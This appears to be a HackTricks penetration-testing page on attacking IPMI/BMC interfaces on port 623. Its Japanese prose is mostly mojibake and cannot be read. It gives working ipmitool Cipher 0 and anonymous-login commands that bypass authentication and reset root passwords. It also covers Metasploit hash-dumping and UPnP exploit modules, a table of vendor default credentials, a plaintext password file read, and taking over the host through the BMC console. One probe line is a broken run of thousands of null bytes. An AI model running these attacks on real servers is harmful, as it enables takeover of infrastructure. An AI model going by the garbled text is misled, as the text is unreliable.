# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
* ããªãã¯**ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ HackTricksã§ããªãã®**äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãçºèŠããŸããããç§ãã¡ã®ç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³
* [**å
¬åŒã®PEASSïŒHackTricks swag**](https://peass.creator-spring.com)ãæã«å
¥ããŸããã
* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ãããã³ã°ã®ããªãã¯ãå
±æãã**ããã«ã[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«PRãæåºããŠãã ããã**
## åºæ¬æ
å ±
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`)ã¯ãã·ã¹ãã 管çãšç£èŠã«äœ¿çšãããããŒããŠã§ã¢ããŒã¹ã®ãã¹ã管çã·ã¹ãã ã®ããã®æšæºåãããä»æ§ã§ããIPMIã¯èªåŸçãªãµãã·ã¹ãã ãšããŠæ©èœãããã¹ãã®BIOSãCPUããã¡ãŒã ãŠã§ã¢ãããã³åºç€ãšãªããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãšã¯ç¬ç«ããŠåäœããŸããIPMIã¯ãã·ã¹ãã ãé»æºãªããŸãã¯å¿çããªãç¶æ
ã§ãã£ãŠããã·ã¹ãã 管çè
ãã·ã¹ãã ã管çããã³ç£èŠããèœåãæäŸããŸããIPMIã¯ãã·ã¹ãã ã®ããŒããŠã§ã¢ã«çŽæ¥ãããã¯ãŒã¯æ¥ç¶ã䜿çšããŠåäœãããã°ã€ã³ã·ã§ã«ãä»ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ã¯å¿
èŠãããŸãããIPMIã¯ãç©ççãªã¢ã¯ã»ã¹ãªãã§ã·ã¹ãã ã®ãªã¢ãŒãã¢ããã°ã¬ãŒãã«ã䜿çšã§ããŸããIPMIã¯éåžžã次ã®3ã€ã®æ¹æ³ã§äœ¿çšãããŸãïŒ
* OSãèµ·åããåã«BIOSèšå®ãå€æŽãããã
* ãã¹ããå®å
šã«é»æºãªãã®å Žå
* ã·ã¹ãã é害åŸã®ãã¹ããžã®ã¢ã¯ã»ã¹
ãããã®ã¿ã¹ã¯ã«äœ¿çšãããªãå ŽåãIPMIã¯ã·ã¹ãã ã®æž©åºŠãé»å§ããã¡ã³ã®ç¶æ
ãé»æºäŸçµŠãªã©ãããŸããŸãªãã®ãç£èŠããããšãã§ããŸãããŸããã€ã³ãã³ããªæ
å ±ã®ã¯ãšãªãããŒããŠã§ã¢ãã°ã®ç¢ºèªãSNMPã䜿çšããã¢ã©ãŒããè¡ãããšãã§ããŸãããã¹ãã·ã¹ãã ã¯é»æºãªãã«ãªã£ãŠããå Žåã§ããIPMIã¢ãžã¥ãŒã«ã«ã¯é»æºãšLANæ¥ç¶ãå¿
èŠã§ãã
IPMIãããã³ã«ã¯ãIntelã«ãã£ãŠ1998幎ã«åããŠå
¬éãããçŸåšã¯CiscoãDellãHPãSupermicroãIntelãªã©ãå«ã200以äžã®ã·ã¹ãã ãã³ããŒã«ãã£ãŠãµããŒããããŠããŸããIPMIããŒãžã§ã³2.0ã䜿çšããã·ã¹ãã ã¯ãã·ãªã¢ã«ãªãŒããŒLANãä»ããŠç®¡çã§ãããããã·ã¹ãã 管çè
ã¯ãã³ãå
ã§ã·ãªã¢ã«ã³ã³ãœãŒã«åºåã衚瀺ããããšãã§ããŸããIPMIã®åäœã«ã¯ã次ã®ã³ã³ããŒãã³ããå¿
èŠã§ãïŒ
* ããŒã¹ããŒã管çã³ã³ãããŒã©ïŒBMCïŒ- IPMIã®ãã€ã¯ãã³ã³ãããŒã©ãŒã§ãããå¿
é ã®ã³ã³ããŒãã³ãã§ã
* ã€ã³ããªãžã§ã³ãã·ã£ãŒã·ç®¡çãã¹ïŒICMBïŒ- 1ã€ã®ã·ã£ãŒã·ããå¥ã®ã·ã£ãŒã·ãžã®éä¿¡ãèš±å¯ããã€ã³ã¿ãŒãã§ãŒã¹
* ã€ã³ããªãžã§ã³ããã©ãããã©ãŒã 管çãã¹ïŒIPMBïŒ- BMCãæ¡åŒµããŸã
* IPMIã¡ã¢ãª- ã·ã¹ãã ã€ãã³ããã°ããªããžããªã¹ãã¢ããŒã¿ãªã©ãä¿åããŸã
* éä¿¡ã€ã³ã¿ãŒãã§ãŒã¹- ããŒã«ã«ã·ã¹ãã ã€ã³ã¿ãŒãã§ãŒã¹ãã·ãªã¢ã«ããã³LANã€ã³ã¿ãŒãã§ãŒã¹ãICMBããã³PCI管çãã¹
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**ããã©ã«ãããŒã**: 623/UDP/TCPïŒéåžžã¯UDPã§å®è¡ãããŸãããTCPã§å®è¡ãããå ŽåããããŸãïŒ
## åæ
### çºèŠ
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
次ã®æ¹æ³ã§ããŒãžã§ã³ã**ç¹å®**ã§ããŸãïŒ
```plaintext
nmap -p 623 --script ipmi-version
```
ãŸãã¯ã以äžã®ã³ãã³ãã䜿çšããŠããŒãžã§ã³ãååŸã§ããŸãïŒ
```plaintext
echo -e '\x06\x00\x00\x00\x00\x01\x00\x06\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### èåŒ±æ§ - æå·0ãä»ããIPMIèªèšŒãã€ãã¹
Dan Farmerã¯ãIPMI 2.0ä»æ§ã®é倧ãªäžåãç¹å®ããŸãããå
·äœçã«ã¯ãã¯ã©ã€ã¢ã³ããã¯ãªã¢ããã¹ãèªèšŒã䜿çšãããããšã瀺ãæå·ã¿ã€ã0ããå®éã«ã¯**ä»»æã®ãã¹ã¯ãŒãã§ã¢ã¯ã»ã¹ãèš±å¯**ããŠããŸããšãããã®ã§ããCipher 0ã®åé¡ã¯ãHPãDellãããã³Supermicro BMCã§ç¹å®ãããŸãããããããããã¹ãŠã®IPMI 2.0å®è£
ã«åœ±é¿ãåãŒããŠããå¯èœæ§ããããŸãã
ãã®åé¡ãæªçšããã«ã¯ããŸã**æå¹ãªãŠãŒã¶ãŒãèŠã€ãã**å¿
èŠããããŸãã
次ã®æ¹æ³ã§ãã®åé¡ã**ç¹å®**ããããšãã§ããŸãïŒ
```
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
ãããŠã`ipmitool`ã䜿çšããŠãã®åé¡ã**æªçš**ããããšãã§ããŸãïŒ
```bash
apt-get install ipmitool #Install
#Using -C 0 any password is accepted
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
```
### èåŒ±æ§ - IPMI 2.0 RAKPèªèšŒãªã¢ãŒããã¹ã¯ãŒãããã·ã¥ã®ååŸ
åºæ¬çã«ã**ãµãŒããŒã«å¯ŸããŠä»»æã®ãŠãŒã¶ãŒåã®ãœã«ãä»ãããã·ã¥åãããMD5ãšSHA1ãèŠæ±ããããšãã§ãããŠãŒã¶ãŒåãååšããå Žåããããã®ããã·ã¥ãéä¿¡ãããŸãã** ä¿¡ããããªãã»ã©çŽ æŽãããã§ããããããŠãããããã¹ãããããã®**ã¡ã¿ã¹ããã€ãã¢ãžã¥ãŒã«**ããããŸãïŒJohnãHashcat圢åŒã®åºåãéžæã§ããŸãïŒ:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
_ãã®å Žåããã«ãŒããã©ãŒã¹æ»æã«äœ¿çšãããŠãŒã¶ãŒåã®ãªã¹ããå¿
èŠã§ãïŒMetasploitã«ã¯ããã©ã«ãã®ãŠãŒã¶ãŒåãå«ãŸããŠããŸãïŒã_
`ipmitool`ã䜿çšããŠèªèšŒããã€ãã¹ïŒ`-c 0`ïŒããã«ãŒããã¹ã¯ãŒããabc123ã«å€æŽããŸãïŒ
```
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
```
### èåŒ±æ§ - IPMIå¿åèªèšŒ
äžèšã®èªèšŒã®åé¡ã«å ããŠãDan Farmerã¯**å€ãã®BMCãããã©ã«ãã§ãå¿åãã¢ã¯ã»ã¹ãæå¹ã«ãªã£ãŠãã**ããšã«æ°ä»ããŸãããããã¯ãæåã®**ãŠãŒã¶ãŒ**ã¢ã«ãŠã³ãã®ãŠãŒã¶ãŒåã**空ã®æåå**ã«èšå®ãã**空ã®ãã¹ã¯ãŒã**ãèšå®ããããšã§æ§æãããŸãã_ipmi\_dumphashes_ã¢ãžã¥ãŒã«ã¯ãnullãŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãããã·ã¥ïŒç©ºã®ãã¹ã¯ãŒããå«ãïŒãç¹å®ããŠãã³ãããŸãã**ãã®ã¢ã«ãŠã³ãã¯åç¬ã§ã¯äœ¿çšããã®ãé£ãããããããŸãããã`ipmitool`ãå©çšããŠååä»ããŠãŒã¶ãŒã¢ã«ãŠã³ãã®ãã¹ã¯ãŒãããªã»ãããããã®ã¢ã«ãŠã³ããä»ã®ãµãŒãã¹ãžã®ã¢ã¯ã»ã¹ã«å©çšããããšãã§ããŸã**ã
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
```
### èåŒ±æ§ - Supermicro IPMIã®å¹³æãã¹ã¯ãŒã
IPMI 2.0ã®ä»æ§ã§ã¯ãBMCã¯SHA1ãMD5ãªã©ã®HMACããŒã¹ã®èªèšŒæ¹åŒã«å¿çããããšãæ±ããããŠããŸãããã®èªèšŒããã»ã¹ã«ã¯ã以åã®äŸã§ç€ºãããããã«ããã€ãã®æ·±å»ãªåŒ±ç¹ããããŸãããåæã«**èªèšŒããã·ã¥ãèšç®ããããã«å¹³æãã¹ã¯ãŒããžã®ã¢ã¯ã»ã¹ãå¿
èŠ**ã§ããã€ãŸããBMCã¯**èšå®ããããã¹ãŠã®ãŠãŒã¶ãŒãã¹ã¯ãŒãã®å¹³æããŒãžã§ã³ãéæ®çºæ§ã¹ãã¬ãŒãžã®ã©ããã«ä¿å**ããå¿
èŠããããŸãã**Supermicro**ã®å Žåããã®å Žæã¯ãã¡ãŒã ãŠã§ã¢ã®ããŒãžã§ã³ã«ãã£ãŠç°ãªããŸããã**`/nv/PSBlock`**ãŸãã¯**`/nv/PSStore`**ã®ããããã§ãããã¹ã¯ãŒãã¯ããŸããŸãªãã€ããªãããã«æ£ãã°ã£ãŠããŸããããŠãŒã¶ãŒåã®åŸã«å¿
ãç¶ããããå
±æãã¹ã¯ãŒãã䜿çšããçµç¹ãç°ãªãã¿ã€ãã®ããã€ã¹ã«ãšã£ãŠæ·±å»ãªåé¡ã§ãã
```bash
cat /nv/PSBlock
admin ADMINpassword^TT rootOtherPassword!
```
### èåŒ±æ§ - Supermicro IPMI UPnP
Supermicroã®æè¿ã®ãã¶ãŒããŒãã®IPMIãã¡ãŒã ãŠã§ã¢ã«ã¯ãUDPããŒã1900ã§å®è¡ããã**UPnP SSDPãªã¹ããŒ**ãå«ãŸããŠããŸããSMT\_X9\_218ããåã®ããŒãžã§ã³ã§ã¯ããã®ãµãŒãã¹ã¯Intel SDK for UPnP Devicesã®ããŒãžã§ã³1.3.1ãå®è¡ããŠããŸããããã®ããŒãžã§ã³ã¯ã2013幎2æã«Rapid7ãå
¬éãã[åé¡](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)ã«å¯ŸããŠè匱ã§ãããã®ãã©ãããã©ãŒã ãžã®ãšã¯ã¹ããã€ãã¯ãMetasploit Frameworkã®äžéšãšããŠæäŸãããŠããŸãããã®æ»æã®èå³æ·±ãç¹ã¯ãããã«ãã£ãŠ**BMCãžã®å®å
šãªã«ãŒãã¢ã¯ã»ã¹**ãåŸãããããšã§ããããã¯ä»ã®æ¹æ³ã§ã¯é£ããããšã§ãã管çè
ã¢ã¯ã»ã¹æš©éãæã€æ»æè
ã¯ããããã¯ãŒã¯çµç±ãŸãã¯ãã¹ãã·ã¹ãã ã®ã«ãŒãã·ã§ã«ãããSupermicro BMCã®ãã¡ãŒã ãŠã§ã¢ãè匱ãªããŒãžã§ã³ã«ããŠã³ã°ã¬ãŒãããŠãããšã¯ã¹ããã€ãããããšãã§ããŸãã**root**ã¢ã¯ã»ã¹ã**ååŸ**ããããšããã¡ã€ã«ã·ã¹ãã ãã**ã¯ãªã¢ããã¹ãã®è³æ Œæ
å ±**ã**èªã¿åã**ããšãã§ããè¿œå ã®**ãœãããŠã§ã¢**ã**ã€ã³ã¹ããŒã«**ãããã¹ãã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®å®å
šãªåã€ã³ã¹ããŒã«ã«ãèãã**ããã¯ãã¢**ãBMCã«çµ±åããããšãå¯èœã§ãã
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute ForceïŒãã«ãŒããã©ãŒã¹æ»æïŒ
ãã ããHPã®ã¿ã補é ããã»ã¹äžã«ãã¹ã¯ãŒããã©ã³ãã åããŠããŸãã
| 補åå | ããã©ã«ãã®ãŠãŒã¶ãŒå | ããã©ã«ãã®ãã¹ã¯ãŒã |
| --------------------------------------------------- | ---------------- | ---------------------------------------- |
| **HP Integrated Lights Out (iLO)** | Administrator | \<å·¥å Žã§ã©ã³ãã åããã8æåã®æåå> |
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RDïŒãŒãã䜿çšïŒ |
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
| **ASUS iKVM BMC** | admin | admin |
## BMCãããã¹ããžã®æ»æ
BMCãžã®ç®¡çã¢ã¯ã»ã¹ãååŸãããå Žåããã¹ããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãååŸããããã«äœ¿çšã§ããããã€ãã®æ¹æ³ããããŸããæãçŽæ¥çãªæ¹æ³ã¯ãBMCã®KVMæ©èœãæªçšããŠãã¹ããåèµ·åããã«ãŒãã·ã§ã«ïŒGRUBã§init=/bin/shïŒã«ã¢ã¯ã»ã¹ããããä»®æ³CD-ROMãšããŠã¬ã¹ãã¥ãŒãã£ã¹ã¯ãæå®ããŠèµ·åããããšã§ãããã¹ãã®ãã£ã¹ã¯ãžã®çŽæ¥ã¢ã¯ã»ã¹ãååŸããããšãããã¯ãã¢ãå°å
¥ããããããŒããã©ã€ãããããŒã¿ãã³ããŒããããã»ãã¥ãªãã£è©äŸ¡ã®äžç°ãšããŠå¿
èŠãªããšãäœã§ãè¡ãããšãã§ããŸãããã¡ããããã®æ¹æ³ã䜿çšããã«ã¯ãã¹ããåèµ·åããå¿
èŠããããŸãããã¹ããžã®ã¢ã¯ã»ã¹ãååŸããããšã¯ã¯ããã«å°é£ã§ããããã¹ããå®è¡ããŠãããã®ã«äŸåããŸãããã¹ãã®ç©çã³ã³ãœãŒã«ããã°ã€ã³ããããŸãŸã«ãããŠããå Žåãçµã¿èŸŒã¿ã®KVMæ©èœã䜿çšããŠãããä¹ã£åãããšã¯éåžžã«ç°¡åã§ããã·ãªã¢ã«ã³ã³ãœãŒã«ã«ãåãããšãåœãŠã¯ãŸããŸã - ã·ãªã¢ã«ããŒããèªèšŒãããã»ãã·ã§ã³ã«æ¥ç¶ãããŠããå ŽåãBMCã¯ipmitoolã€ã³ã¿ãŒãã§ãŒã¹ã䜿çšããŠãã®ããŒããä¹ã£åãããšãèš±å¯ããå ŽåããããŸããi2cãã¹ãSuper I/Oããããªã©ã®å
±æããŒããŠã§ã¢ãžã®ã¢ã¯ã»ã¹ãæªçšããæ¹æ³ã¯ããããªãç 究ãå¿
èŠã§ãã
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
![](<../.gitbook/assets/image (202) (2).png>)
## ãã¹ãããBMCãžã®æ»æ
